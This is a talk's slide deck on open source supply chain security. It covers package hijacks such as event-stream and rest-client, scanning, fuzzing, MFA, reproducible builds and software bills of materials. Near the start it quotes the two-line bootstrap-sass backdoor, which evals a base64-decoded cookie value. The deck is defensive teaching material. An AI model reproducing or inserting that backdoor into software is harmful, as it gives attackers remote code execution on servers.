Collaborating to Improve Open Source Security: How the Ecosystem is Stepping Up

Mark Russinovich
Chief Technology Officer
Microsoft Azure
@markrussinovich
Why am I here?
Open source incidents

Webmin
rest-client
event-stream
VestaCP
...

Backdooring popular package repos: Bootstrap-sass

```
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
```

8 days - vulnerable code available
Event-Stream

Big Data and Analytics

Node.js Event-Stream Hack

By: Sean Michael Kerner | November 27, 2018

NEWS ANALYSIS: Simply trusting that code takes away from maintaining application security.

dominctarr commented on Nov 21, 2018

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get anything from maintaining this module, and I don't even use it anymore, and haven't for years.

dominctarr commented on Nov 21, 2018

note: I no longer have publish rights to this module on npm.
Agenda

Software supply chain
Finding vulnerabilities
Dependency management
Build systems and package managers
Software bill of materials (SBOM)
Responding to threats
Food supply chain

Farmer
Buyer
Distributor
Customer
Software supply chain

Open source developer

Source code repository

Application developers

End users and customers
Software supply chain

- developer
- Source code repository
- Build pipeline
- Package manager
- Package caching
- Application developers
- Build pipeline
- Storefront
- End users and customers
How do supply chain participants...

- Prevent unwanted products from entering?
- Know what products are currently in their environment and supply chain?
- Ensure the information they are receiving about products is reliable?
- Remove, rollback or patch unwanted products once identified?
Agenda

- Software supply chain
- Finding vulnerabilities
- Dependency management
- Build systems and package managers
- Software bill of materials (SBOM)
- Responding to threats
Vulnerabilities
Human error and malicious intent

- Credentials in source code
- Failing to properly parse user input
- Executing user provided code
- Denial-of-service opportunities
Typo squatting

\[
\text{lev}_{a,b}(i, j) = \begin{cases} 
\max(i, j) & \text{if } \min(i, j) = 0, \\
\min \begin{cases} 
\text{lev}_{a,b}(i - 1, j) + 1 & \\
\text{lev}_{a,b}(i, j - 1) + 1 & \\
\text{lev}_{a,b}(i - 1, j - 1) + 1_{(a_i \neq b_j)} 
\end{cases} & \text{otherwise}, 
\end{cases}
\]

• Identify vulnerabilities in your code
• Scan automatically in IDE and in CI/CD
• Gate all pull requests on successful scan
• Verify your own code as well as upstream dependencies
Find and fix defects in your Java, C/C++, C#, JavaScript, Ruby, or Python open source project for free

- Test every line of code and potential execution path
- Root cause of each defect clearly explained
- Integrations with GitHub and Travis CI
- Coverity Scan: Free analysis on open source coding projects

Some examples of defects and vulnerabilities:

- resources leaks
- dereferences of NULL pointers
- incorrect usage of APIs
- use of uninitialized data
- memory corruptions
- buffer overruns
- control flow issues
- error handling issues
- incorrect expressions
- concurrency issues
- insecure data handling
- unsafe use of signed values
- use of resources that have been freed
Security Lab

CodeQL (Semmle) for research

• Query code as though it were data
• Write queries to find all variants of a vulnerability
• Share your query to help others do the same
• Free for research and open source projects
Automatically detect open source vulnerabilities and accelerate fixing throughout your development process

- Free for open source repositories
- Integration with cloud source code (GitHub, GitLab, Bitbucket, Azure Repos)
- Continuous monitoring
DEMO

CodeQL
Heartbleed
(aka CVE-2014-0160)

“Some might argue that Heartbleed is the worst vulnerability found (at least in terms of its potential impact) since commercial traffic began to flow on the Internet.”

- Joseph Steinberg, Forbes

https://en.wikipedia.org/wiki/Heartbleed
Eliminate bug classes

Uninitialized memory

Automatic variable initialization

- Automatically initialize stack variables to zero or pattern
- Goal to be on by default, can be overridden for performance
- Implemented in MSVC and Clang (LLVM)

Days since an uninitialized C++ variable caused me grief: 0
Uninitialized memory is sometimes important for performance, but it should need to be explicitly called out as such, rather than being the default behavior.

3:41 PM - 13 Oct 2018
Fuzzing

- Memory errors (buffer overflows, use-after-free)
- Race condition and deadlocks
- Undefined behavior
- Memory leaks
- Control-flow integrity
OSS-Fuzz

- 17,000 bugs in 250 open source projects
- In cooperation with the Core Infrastructure Initiative
- Supports libFuzzer and AFL fuzzing engines in combination with Sanitizers, as well as ClusterFuzz
- C/C++, Rust, and Go
Agenda

Software supply chain
Finding vulnerabilities
Dependency management
Build systems and package managers
Software bill of materials (SBOM)
Responding to threats
Romaine lettuce E. coli outbreak traced to California farm

An irrigation reservoir was found to be contaminated.
CVE-2018-1000136 – Electron

The one bug to bring them all down - CVE-2018-1000136 (including, but not limited to: Signal Desktop, Slack, Discord, Atom, Visual Studio Code, Github Desktop)

trustwave.com/Resources/Spid... #electron #vulnerability

A few weeks ago, I came across a vulnerability that affected all current versions of Electron at the time (< 1.7.13, < 1.8.4, and < 2.0.0-beta.3). The
trustwave.com
Upstream dependencies

- 1 import != 1 dependency
- Inventory not only direct dependencies, but also 2nd/3rd/Nth level
npm install
Average number of packages trusted by installing one NPM package?
80

Average number of packages trusted by installing one NPM package
ehtim (eht-imaging)

Python modules for simulating and manipulating VLBI data and producing images with regularized maximum likelihood methods. This version is an early release so please submit a pull request or email achael@cfa.harvard.edu if you have trouble or need help for your application.

The package contains several primary classes for loading, simulating, and manipulating VLBI data. The main classes are the Image, Array, OnData, Image, and Caltable classes, which provide tools for loading images and data, producing simulated data from realistic u-v tracks, calibrating, inspecting, and plotting data, and producing images from data sets in various polarizations using various data terms and regularizers.

Installation

Download the latest version from the Github repository, change to the main directory and run:

```
python -m pip install .
```

It should install most of the required libraries automatically (astropy, ephem, future, h5py, html, networkx, numpy, pandas, matplotlib, requests, scipy, scikitimage).
Upstream dependencies
Automate dependency mapping

- Dependencies need to be identified and mapped automatically
- Incorporate into source code management, build, CI/CD
- Downstream services need to update as soon as an upstream security dependency is released
Agenda

- Software supply chain
- Finding vulnerabilities
- Dependency management
- Build systems and package managers
- Software bill of materials (SBOM)
- Responding to threats
Account compromise


Hacker News new | past | comments | ask | show | jobs | submit login

mwmanning 6 months ago | parent | favorite | on: Rest-client gem is hijacked

Hey since this is blown up I just want to address it directly.
I take responsibility for what happened here. My RubyGems.org account was using an insecure, reused password that has leaked to the internet in other breaches.
I made that account probably over 10 years ago, so it predated my use of password managers and I haven't used it much lately, so I didn't catch it in a 1password audit or anything.
Sometimes we miss things despite our best efforts.
Rotate your passwords, kids.
Account compromise

Canonical GitHub account hacked, Ubuntu source code safe

Ubuntu source code appears to be safe; however Canonical is investigating.

The GitHub account of Canonical Ltd., the company behind the Ubuntu Linux distribution, was hacked on Saturday, July 6.

“We can confirm that on 2019-07-06 there was a Canonical owned account on GitHub whose credentials were compromised and used to create repositories and issues among other activities,” the Ubuntu security team said in a statement.
Multi-factor authentication

**Enabling multi-factor authentication**

1. Login to rubygems.org using your existing account and go to the edit profile page. Click register a new device in the multifactor authentication section.

**About two-factor authentication**

Two-factor authentication (2FA) protects against unauthorized access to your account by confirming your identity using:

- something you know (such as your username and password)
- something you have (such as a phone or tablet)

When you enable 2FA, we will prompt you for a unique one-time password when you perform certain actions on your account or on packages to which you have write access, depending on your 2FA configuration.

**Note:** Two-factor authentication provides the best possible security for your account against attackers. We strongly recommend enabling 2FA on your account as soon as possible after you sign up.

**Two-factor authentication modes on npm**

Two-factor authentication on npm can be enabled for authorization only, or authorization and writes.
Build tampering

April 2018
Exploited server added build script to inject backdoor
Reproducible Builds

- Builds are deterministic
- Tools are recorded or pre-defined
- Steps for users to build and verify
Package availability

npm ERR! node v4.2.2
npm ERR! npm v2.14.7
npm ERR! code E404
npm ERR! 404 Registry returned 404 for GET on https://registry.npmjs.org/left-pad
npm ERR! 404 'left-pad' is not in the npm registry.
npm ERR! 404 You should bug the author to publish it (or use the name yourself!)
npm ERR! 404 It was specified as a dependency of '...

npm ERR! 404 Note that you can also install from a
npm ERR! 404 tarball, folder, http url, or git url.

Hey npm users: left-pad 0.0.3 was unpublished, breaking LOTS of builds. To fix, we are un-un-publishing it at the request of the new owner.

4:03 PM - Mar 22, 2016 · Twitter Web Client

248 Retweets 229 Likes
Mirror repositories

- Mirror open source dependencies you or your company depend on
- Provides availability for package manager downtime
- Add a security gate for compromised repositories
- Manual updates for critical vulnerability patching
Agenda

- Software supply chain
- Finding vulnerabilities
- Dependency management
- Build systems and package managers
- Software bill of materials (SBOM)
- Responding to threats
Food supply chain

“We tested our crops and we found no ecoli”

“We transport and store all crops safely”

“We keep all produce cold and dispose of expired stock”

“I’m not going to get sick by eating this”
Software supply chain

“I ran analysis tools against my code and they all passed”

“All code came from these contributors and passed code review”

“We used these open source projects and packages, and these are our build results”

“I can trust that this code is secure and tested and fits my policy requirements”
Bill of materials and policy

**Producer identity**
Who created/operated on this piece?
Is this producer allowed?

**Product identity**
What is this product?
Is this product allowed?

**Integrity**
Proof the product is unaltered
Is what I received what was shipped?

**Licensing**
How the product may be used
Does the license meet my requirements?

**Creation**
How the product was created
Does the creation process meet my requirements?

**Materials**
How the product was created
Do the materials meet my requirements?
Scenario 1: Using SBOM to defend against APTs

1. Developer commits code
2. Build system compiles the code and publishes build artifacts
3. Release management system creates a release from the build, publishes release artifacts
4. Release management system deploys release artifacts
Scenario 1: Using SBOM to defend against APTs

Developer commits code

Build system compiles the code and publishes build artifacts

Attacker tampers with artifact store; replaces genuine artifacts with malicious artifacts

Release management system creates a malicious release from the build, publishes release artifacts

Release management system deploys malicious release artifacts
Scenario 1: Using SBOM to defend against APTs

Build system compiles the code, generates/signs SBOM, and publishes build artifacts

Release management system creates a malicious release from the build, publishes release artifacts

Attacker tampers with artifact store; replaces genuine artifacts with malicious artifacts

Release management system attempts to verify malicious artifact against signed SBOM; does not deploy
Scenario 2: Using SBOM to enforce policy gates

Build system compiles the code and publishes vulnerable build artifacts

Developer commits vulnerable code

Release management system creates a release from the build, publishes vulnerable release artifacts

Release management system releases vulnerable artifacts
Scenario 2: Using SBOM to enforce policy gates

Build system compiles the code, runs static analysis and finds vulnerabilities, generates/signs SBOM, and publishes build artifacts.

Release management system creates a release from the build, publishes release artifacts.

Release management system sees static analysis reported critical vulnerabilities and blocks release artifacts.

Client policy requires static analysis with no critical vulnerabilities.
Software Package Data Exchange

- Open standard for communicating software bill of material information
- Common format for companies to share data about software licenses, copyrights, and security references
- Can be implemented in XML or tag-value formats
**in-toto**

- Final product integrity
- Process compliance
- Traceability and attestation
- Task and privilege separation

---

**Project Owner**
Defines supply chain layout

**Functionaries**
Perform steps in supply chain and provide link metadata record

**Client**
Performs verification on layout and link metadata
DEMO

in-toto
Agenda

- Software supply chain
- Finding vulnerabilities
- Dependency management
- Build systems and package managers
- Software bill of materials (SBOM)
- Responding to threats
Eviction and remediation
Tracking contaminants

“I got sick eating this lettuce”

“I bought it from this grocery store”

“It was delivered by this distributor”

“It was grown at this farm”
Software supply chain

“There is a vulnerability in my software”

“The software came from this developer”

“The dev used this open source package”

“The open source project has a commit from this dev which has the vulnerability”
Software supply chain
Software supply chain

Software bill of materials

- Open source developer
- Source code repository
- Build pipeline
- Package manager
- Package caching
- Application developers
- Build pipeline
- Storefront
- End users and customers
Nobody should compete on open source security
Call to Action
Producers

Enable MFA
Run static analysis against your repositories
Onboard your project to reproducible builds

Call to Action
Consumers

Know what you are consuming
Automate the mapping of your open source dependencies

Learn more about the Software Bill of Materials project at
https://www.it-cisq.org/software-bill-of-materials

Mirror business-critical projects
Thank You